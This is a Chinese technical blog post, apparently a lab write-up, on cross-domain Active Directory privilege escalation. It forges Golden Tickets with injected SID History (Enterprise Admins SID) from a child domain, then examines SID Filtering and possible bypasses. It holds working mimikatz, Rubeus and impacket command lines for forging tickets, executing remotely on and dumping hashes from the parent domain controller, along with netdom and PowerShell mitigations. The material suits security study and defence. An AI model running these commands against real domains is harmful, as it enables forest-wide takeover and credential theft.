SID History子域横向父域跨域Golden Ticket攻击链路以及SID Filter绕过

前言:记录SID History子域横向父域跨域Golden Ticket攻击链路以及SID Filter机制的介绍和绕过

参考文章:https://www.boundaryx.com/info/2145.html
参考文章:https://www.anquanke.com/post/id/172900
参考文章:https://blog.csdn.net/weixin_41982957/article/details/107010037
参考文章:https://www.anquanke.com/post/id/244986
参考文章:https://www.anquanke.com/post/id/245941
参考文章:https://www.cnblogs.com/zpchcbd/p/11706813.html
参考文章:https://myzxcg.com/2022/04/域信任关系利用与SID-过滤绕过/
参考文章:https://learn.microsoft.com/en-us/windows/win32/adschema/a-sidhistory
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280?redirectedfrom=MSDN
参考文章:https://www.thehacker.recipes/a-d/movement/trusts
参考文章:https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/
参考文章:https://github.com/dirkjanm/forest-trust-tools

SID History

参考文章:https://learn.microsoft.com/en-us/windows/win32/adschema/a-sidhistory

根据微软的解释,SID History是一个支持迁移方案的属性,每个用户帐户都有一个关联的安全标识符 (SID),用于跟踪安全主体和帐户在连接到资源时的访问权限。

每个用户都有一个关联的安全标识符(SID),SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

为了达到SID History攻击的目的,我们的将使用域管理员权限,将获取到的有权限的SID值插入到SID历史记录中,以实现模拟任意用户/组(例如Enterprise Admins)的权限,达到跨域提权目的。

子域控制器搭建过程

自己在搭建2008系统中搭建子域的时候发现建立信任关系失败,如下图所示

2023-06-23补充

上面之前遇到的问题,这边把环境都换成了2016,这边重新搭建之后就没有上述的问题了

参考文章:https://blog.csdn.net/weixin_41982957/article/details/107010037

根域dc:192.168.75.202
子域dc:192.168.75.155

这边先配ip,ip地址配置为192.168.75.155,dns服务器设置为根域dc的ip,如下图所示

加入到zpchcbd.com根域中,然后进行重启操作,如下图所示

剩下的操作就跟创建域控的操作一样,唯一不一样的地址在于创建域服务的时候应该是将当前域加入到现有的林中,如下图所示

执行nltest /domain_trusts,可以发现此时sub.zpchcbd.com和zpchcbd.com的关系已经存在,如下图所示

需要知道的知识点

对于单域林来讲,根域和子域的最大的区别:就是林的根域对整个域林都有控制权,而子域没有,如下图所示

我上面说的林的根域是单域林的根域,并且是该域林中第一个先创建的域,在下面的图中的Benet.com就是域林的根域,而Accp.net虽然是域林的根域,但并不是该域林中第一个创建的域,所以只能称作为域树的树根,所以并没有对整个域林的控制权

子域和根域的区别:对应的Enterprise Admins组是否存在,原因是这个Enterprise Admins组只存在于一个林中的根域中。

这边环境中的zpchcbd.com为根域,先来看下根域控制器下的Enterprise Admins,如下图所示

sub.zpchcbd.com为子域,这边看下是否存在Enterprise Admins组,如下图所示可以看到不存在Enterprise Admins组的

这边需要知道的一个点,在Windows中,当添加一个子域时,Enterprise Admins组会自动成为林中每个域的Administrators组的成员。这是因为Enterprise Admins组是一个特殊的组(通用组),它在整个林中具有高级别的权限和特权,用于管理整个林的企业级操作。

这边可以看到zpchcbd.com根域中的本地administrators组中是存在Enterprise Admins组的,如下图所示

而这边可以看sub.zpchcbd.com的子域中的本地administrators组中也是存在Enterprise Admins组的,如下图所示

普通金票的局限性

一个域树中分为zpchcbd.com根域和sub.zpchcbd.com子域,如果在sub.zpchcbd.com子域中我们拿到了对应的域控中存储的krgrbt的账户和对应的密码hash,利用krbtgt的密码HASH值生成黄金票据会具有一定的局限性,也就是被限制在当前域内访问。

这里先打印下我子域的SID号为,可以看到如下图所示,去掉末尾的500,则子域控的SID号为S-1-5-21-237381039-3464644732-246105634

这里不知道大家有没有想过为什么mimikatz生成的黄金票据无法进行跨域利用?

原因在mimikatz通过/sid选项接收SID号然后在尾部拼接RID号(512,519等),拼接之后生成的Enterprise Admins组的完整SID是S-1-5-21-237381039-3464644732-246105634-519,根据上面的知识是可以知道这个SID在整个域林中都是不存在的(原因是子域没有Enterprise Admins组),所以在子域中通过mimikatz生成的金票无法跨域或者是访问其他域的资源。

实战中跨域黄金票据利用

知识点:常见的SID有如下几种

  • Domain Admins(S-1-5-domain-512)

  • Domain Users(S-1-5-domain-513)

  • Administrator(S-1-5-domain-500)

  • Enterprise Admins(S-1-5-root domain-519)

  • Domain Admins(S-1-5-domain-515)

这里来演示下跨域黄金票据利用的利用,这边演示两种分别是mimikatz和impacket

  • 假设目前已经拿下了子域控sub.zpchcbd.com的权限,已经得到了对应的krbtgt哈希值cd0132fcded5885237c227d560c59dae,这边通过命令wmic useraccount get AccountType,Caption,Description,sid /all来查看其父域控的SID号S-1-5-21-2604987987-3353953405-2351486685

  • 接着生成对应的黄金票据

mimikatz

mimikatz "kerberos::golden /user:administrator /domain:sub.zpchcbd.com /sid:S-1-5-21-237381039-3464644732-246105634 /krbtgt:cd0132fcded5885237c227d560c59dae /sids:S-1-5-21-2604987987-3353953405-2351486685-519 /ptt" "exit"

接着这边直接进行cifs凭证利用即可,如下图所示,可以看到可以直接列出域控的盘符信息

或者这边直接通过psexec来进行连接PsExec64.exe /accepteula \\WIN-MG4C5QO445H -s cmd

impacket

参考文章:https://github.com/fortra/impacket/pull/1431
参考文章:https://github.com/fortra/impacket/pull/1391

我找了很久在pull中找到了通过impacket来使用跨域攻击的方式,但是在windows上面测试发现还是失败,所以这边就先不进行记录了,到时候知道了再来不上具体的情况
=2023-10-24找到了=

python3 ticketer.py -domain-sid S-1-5-21-237381039-3464644732-246105634 -extra-sid S-1-5-21-2604987987-3353953405-2351486685-519 -nthash cd0132fcded5885237c227d560c59dae -domain sub.zpchcbd.com administrator

psexec父域的主机权限

set KRB5CCNAME=administrator.ccache
python3 smbexec.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -debug

secretsdump获取父域哈希

set KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -debug

SID History过滤机制

参考文章:https://www.thehacker.recipes/a-d/movement/trusts

SID筛选或"隔离"作为筛选器的操作名称,可确保从受信任域接收的传入身份验证请求将从不属于受信任域的SID。因此,当从子域发送包含ExtraSids中父域SID的域间TGT时,父域的KDC将过滤掉子域用户的服务票证中的父SID。从而防止SID历史注入攻击。

林内信任和林间信任/外部信任中如果存在SID过滤机制,则无法利用SID History获取权限。林信任和外部信任默认启用SID筛选,林内部默认禁用SID筛选,如下图所示

SID filtering过滤机制是如何工作

参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280

在这篇参考文章中说明了对哪些对象的SID进行过滤操作

知识点

  • 如果两个域林之间建立林间信任的类型是External Trust类型(外部信任)的话,默认是开启SID Filter机制的

这边可以通过netdom trust hengge.local /d:test.local /Quarantine:来查看SID Filter情况,默认就是开启的

  • 如果两个域林之间建立的林间信任的类型是Forest Trust类型(林信任)的话,默认是不开启SID filtering机制的

这边也通过netdom trust hengge.local /d:test.local /Quarantine:来查看SID Filter情况,在Forest Trust信任类型情况下SID filtering默认是不开启的

如何防御此类利用SID-History攻击

  • 合法帐户迁移完成后清除SID-History属性

标识帐户的SID History属性中的SID

Get-ADUser -Identity <account> -Properties SidHistory | Select-Object -ExpandProperty SIDHistory

接着使用前面标识的SID删除SIDHistory属性

Set-ADUser -Identity <account> -Remove @{SIDHistory='S-1-5-21-...'}

上面两个方法只是对历史SID History迁移留下来记录进行清理,不能防御上述通过SID-History伪造黄金票据进行跨域利用的方法

  • 使用netdom工具在zpchcbd.com父域上对受信任域sub.zpchcbd.com上关闭SID History

netdom trust zpchcbd.com /domain:sub.zpchcbd.com /EnableSIDHistory:no

  • 使用netdom工具在zpchcbd.com父域上对受信任域sub.zpchcbd.com上开启SID Filtering

netdom trust zpchcbd.com /domain:sub.zpchcbd.com /quarantine:no

接着这边继续跟上面进行SID History制作黄金票据的操作,这边在sub.hengge.local dc上面获取krbtgt hash 6ad4aaf39e7d593cc676507fbb726326,如下图所示

父域hengge.local和子域sub.hengge.local的SID情况如下图所示

这边先测试一次没开启SID Filtering的情况,如下图所示,父域hengge.local和子域sub.hengge.local不存在隔离情况,如下图所示

netdom trust hengge.local /d:sub.hengge.local /Quarantine:No

impacket制作SID History黄金票据进行利用,如下图所示,可以看到可以成功通过SID History黄金票据进行跨域利用

python3 ticketer.py -domain-sid S-1-5-21-4023110573-3414010746-2991756303 -extra-sid S-1-5-21-2556620840-4108216359-2967089731-519 -nthash 6ad4aaf39e7d593cc676507fbb726326 -domain sub.hengge.local administrator
set KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass administrator@WIN-M3K6DM7F67I.hengge.local -debug

这边在父域hengge.local上执行netdom trust hengge.local /d:sub.hengge.local /Quarantine:YES,在hengge.local域上隔离信任域sub.hengge.local,如下图所示

再次在子域下通过SID History黄金票据进行跨域利用,可以看到由于SID Filtering的机制存在导致无法进行利用,如下图所示

python3 ticketer.py -domain-sid S-1-5-21-4023110573-3414010746-2991756303 -extra-sid S-1-5-21-2556620840-4108216359-2967089731-519 -nthash 6ad4aaf39e7d593cc676507fbb726326 -domain sub.hengge.local administrator
set KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass administrator@WIN-M3K6DM7F67I.hengge.local -debug

SID Filtering过滤证明实验

参考文章:https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/

这边参考上述文章,其实有更好的方法去证明上述操作失败的原因是被SID Filtering拦截的,这边做一个测试实验来进行证明

没开启SID Filtering的情况

这里还是重新开始,先在没开启SID Filtering的情况下,在sub.hengge.local通过mimikatz来伪造黄金票据进行跨域攻击

klist purge
mimikatz "kerberos::golden /user:administrator /domain:sub.hengge.local /sid:S-1-5-21-4023110573-3414010746-2991756303 /krbtgt:6ad4aaf39e7d593cc676507fbb726326 /sids:S-1-5-21-2556620840-4108216359-2967089731-519 /ptt" "exit"
dir \\WIN-M3K6DM7F67I\c$

这边不用上面的mimikatz,单纯只是做一个mimikatz的记录

接下来用rubeus来进行ptt注入黄金票据

rubeus golden /user:administrator /id:500 /domain:sub.hengge.local /sid:S-1-5-21-4023110573-3414010746-2991756303 /sids:S-1-5-21-2556620840-4108216359-2967089731-519 /aes256:c7e427fbaad0aa5d59035e882de1e1c7957f418144315a7e13a992aab6497072 /ptt

接下来看klist当前内存的会话票据#0,该Ticket的Flags为0x40e00000

接着dir父域机器之后,再次进行klist,这里可以看到这次请求中所有的票据,其中#0与#2相同,但缓存标志从PRIMARY更改为DELEGATE,并且删除了工单标志"initial"并添加了"转发"和"name_canonicalize"。创建票证#0是因为#2不具有请求领域间TGT所需的属性。票证#1是使用信任密钥加密的领域间TGT,该密钥被发送到父域hengge.local。最后#3票据是父域hengge.local上CIFS服务的服务票证,使用父DC帐户(HENGGE$)的NTLM密钥加密。

接着通过mimiktaz将内存票据都进行导出

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

这边先解密#2票据,这边找到Ticket Flags为0x40e00000的文件进行解密,这边servicekey为c7e427fbaad0aa5d59035e882de1e1c7957f418144315a7e13a992aab6497072,其实就是krbtgt的aes256key,解密如下图所示

rubeus describe /ticket:[0;35f84]-2-2-40e00000-administrator@krbtgt-sub.hengge.local.kirbi /servicekey:c7e427fbaad0aa5d59035e882de1e1c7957f418144315a7e13a992aab6497072

这边直接关注当前#2票据的extrasids字段即可,如下图所示,可以看到此时票据的extrasids是带上了我们自定义的519组的sid

接着这边解密#3票据,这边的servicekey为父域DC机器的AES256(因为这里请求的服务是CIFS的ST服务票据),如下图所示,可以看到extrasids还是带上了自定义的519的sid

rubeus describe /ticket:[0;35f84]-0-0-40a50000-administrator@cifs-WIN-M3K6DM7F67I.kirbi /servicekey:965e12a36ae22ed8ba0de137b4ca0cd7412680ad886d1bad569673e5116eee7c

开启SID Filtering的情况

跟上面做同样的测试,这边先在父域上开启SID Filtering,这里执行netdom trust hengge.local /d:sub.hengge.local /Quarantine:Yes

这种情况就是属于QuarantinedWithinForest林内隔离,如下图所示

在子域DC上进行如下命令,可以看到此时已经不能通过CIFS票据去dir父域资源了,如下图所示

rubeus golden /user:administrator /id:500 /domain:sub.hengge.local /sid:S-1-5-21-4023110573-3414010746-2991756303 /sids:S-1-5-21-2556620840-4108216359-2967089731-519 /aes256:c7e427fbaad0aa5d59035e882de1e1c7957f418144315a7e13a992aab6497072 /ptt
dir \\WIN-M3K6DM7F67I\c$
klist

这边通过mimikatz导出,然后通过rubeus describe来进行查看

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

先解密#2票据,可以看到此时票据的extrasids是带上了我们自定义的519组的sid

rubeus describe /ticket:[0;35f84]-2-2-40e00000-administrator@krbtgt-sub.hengge.local.kirbi /servicekey:c7e427fbaad0aa5d59035e882de1e1c7957f418144315a7e13a992aab6497072

接着这边解密#3票据,如下图所示,可以看到由于SID Filtering的作用,此时的服务票据的extrasids已经不会带上519的sid

rubeus describe /ticket:[0;35f84]-0-0-40a50000-administrator@cifs-WIN-M3K6DM7F67I.kirbi /servicekey:965e12a36ae22ed8ba0de137b4ca0cd7412680ad886d1bad569673e5116eee7c

跨林情况(forest trust类型)

在跨林情况下,比如hengge.local和test.local建立了cross forest trust信任关系,此时默认的sid filtering和sid history是如下所示,默认都是禁止的

但是这种情况下你会发现通过上面的sid history方式是无法进行跨林攻击的,测试如下所示,发现跨域到hengge.local的CIFS服务票据的extrasids还是为空

那么这边的话在hengge.local上开启对test.local的sid history情况,如下图所示

netdom trust hengge.local /domain:test.local /EnableSIDHistory:yes

在test.local上重新伪造黄金票据进行测试,如下图所示,发现还是不行

通过观察发现当执行了netdom trust hengge.local /domain:test.local /EnableSIDHistory:Yes之后,在nltest /domain_trusts中会看到hengge.local对test.local多出了0x40的属性(原本forest trust应该只有0x8)

通过查阅可以看到,如下图所示,所以虽然开启了sid history(并且尽管sid filtering为关闭状态),但是还是会受到sid filtering影响

绕过SID-History

参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280

在上述参考文章中主要指出三点

  • 当完全启用SID过滤时,所有与受信任域不同的SID都将被过滤掉。

  • 即使启用了SID过滤,也有一些SID几乎永远不会被过滤掉:例如"Enterprise Domain Controllers" (S-1-5-9) SID和受信任域对象(TDO)描述的那些,以及七个众所周知的SID(请参阅MS-PAC文档和improsec的博客文章)。

  • 存在两种跨林信任类型:"森林"和"外部"(参见信任类型)。Microsoft指出:"跨林信任比外部信任过滤得更严格",这意味着,在外部信任中,SID过滤只会过滤出RID < 1000。

首先知道一个点就是,当信任域test.local用户加入林外部受信任域hengge.local时,会出现在受信任域的LDAP数据库中的CN=ForeignSecurityPrincipals,DC=test,DC=local组中。只要枚举 ForeignSecurityPrincipals组,就可得知哪些用户具有这个外部hengge.local森林的访问权限。

未被SID Filering机制筛选的SID导致绕过

参考文章:https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-3-sid-filtering-explained#yui_3_17_2_1_1673614140169_543

当父子域开启SID Filtering的情况下就是下面图中的情况,但是其中指出了一个点就是允许"企业域控制器"(S-1-5-9)SID和受信任域对象(TDO)描述的SID通过筛选器

这边查看受信任域对象(TDO),这个TDO是一个对象,表示在表示受信任域的域中创建的对象。我们的根域具有子域的TDO,该TDO在securityIdentifier属性中保存子域名和SID,不过我并没有看出任何有意义的东西,可以这个点我这边就跳过了,之后有补充的话我再来补充

除了企业域控制器(S-1-5-9)SID和受信任域对象(TDO),还指出了七个从不被过滤(NeverFilter)的SID,如下所示

总结:如果上述的七个NeverFilter类型的SID以及企业域控制器SID中的任何一个在根域中具有权限,那么就可以通过这些SID作为绕过安全边界的SID筛选。

这边跨域林来进行测试,test.local受信任域已经默认开启了SID Filtering筛选

在test.local中注入NeverFilter类型S-1-5-R-*R>1000S-1-5-9,其中对于S-1-5-R-*R>1000类型伪造一个父域的S-1-5-21-2556620840-4108216359-2967089731-1103用户(henggemaomao)

klist purge
rubeus golden /user:administrator /id:500 /domain:test.local /sid:S-1-5-21-1057668996-557819464-4115110615 /sids:S-1-5-21-2556620840-4108216359-2967089731-1103,S-1-5-9 /aes256:3c6e5f607e9408fbc372ca57fdf8ae9080a72104d77b257230ddde5481c44fa2 /ptt

导出cifs票据查看extrasids来查看,如下图所示,但是这边看到还是不存在,个人判断应该是域林和域林之间的信任关系就是如此

我这边如果测试hengge.local和sub.hengge.local的话如下操作,首先先开启SID Filtering

C:\Users\Administrator>netdom trust hengge.local /d:sub.hengge.local /Quarantine:
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.

The command completed successfully.


C:\Users\Administrator>netdom trust hengge.local /d:sub.hengge.local /Quarantine:yes
Setting the trust to filter SIDs.

The command completed successfully.


C:\Users\Administrator>netdom trust hengge.local /d:sub.hengge.local /Quarantine:
SID filtering is enabled for this trust. Only SIDs from the trusted domain
will be accepted for authorization data returned during authentication. SIDs
from other domains will be removed.

The command completed successfully.

接着在sub.hengge.local上进行伪造特定SID的黄金票据并导出观察extrasids,发现存在企业域控制器S-1-5-9,1103的SID用户已经不存在了,但是企业域控制器S-1-5-9该如何利用呢,查阅了文章也没查阅到,只能先放着

rubeus golden /user:administrator /id:500 /domain:test.local /sid:S-1-5-21-1057668996-557819464-4115110615 /sids:S-1-5-21-2556620840-4108216359-2967089731-1103,S-1-5-9 /aes256:3c6e5f607e9408fbc372ca57fdf8ae9080a72104d77b257230ddde5481c44fa2 /ptt
rubeus describe /ticket:[0;3a4cf]-0-0-40a50000-administrator@cifs-WIN-M3K6DM7F67I.kirbi /servicekey:965e12a36ae22ed8ba0de137b4ca0cd7412680ad886d1bad569673e5116eee7c

总结下:针对跨域林的情况,尽管对于跨域林建立了跨域信任,并且SID相关的机制默认都没开启,但是实际上默认全是开启的,不管SID Filtering有没有开,不管SID History有没有开,实际上SID Filtering一直都开着,SID History一直都关着

信任密钥

参考文章:https://www.cnblogs.com/zpchcbd/p/17501471.html

这里的自己的文章已经记录了具体的操作,这边就直接给一个超链接就好了,参考下

posted @ 2020-01-28 17:37  zpchcbd  阅读(1166)  评论(0编辑  收藏  举报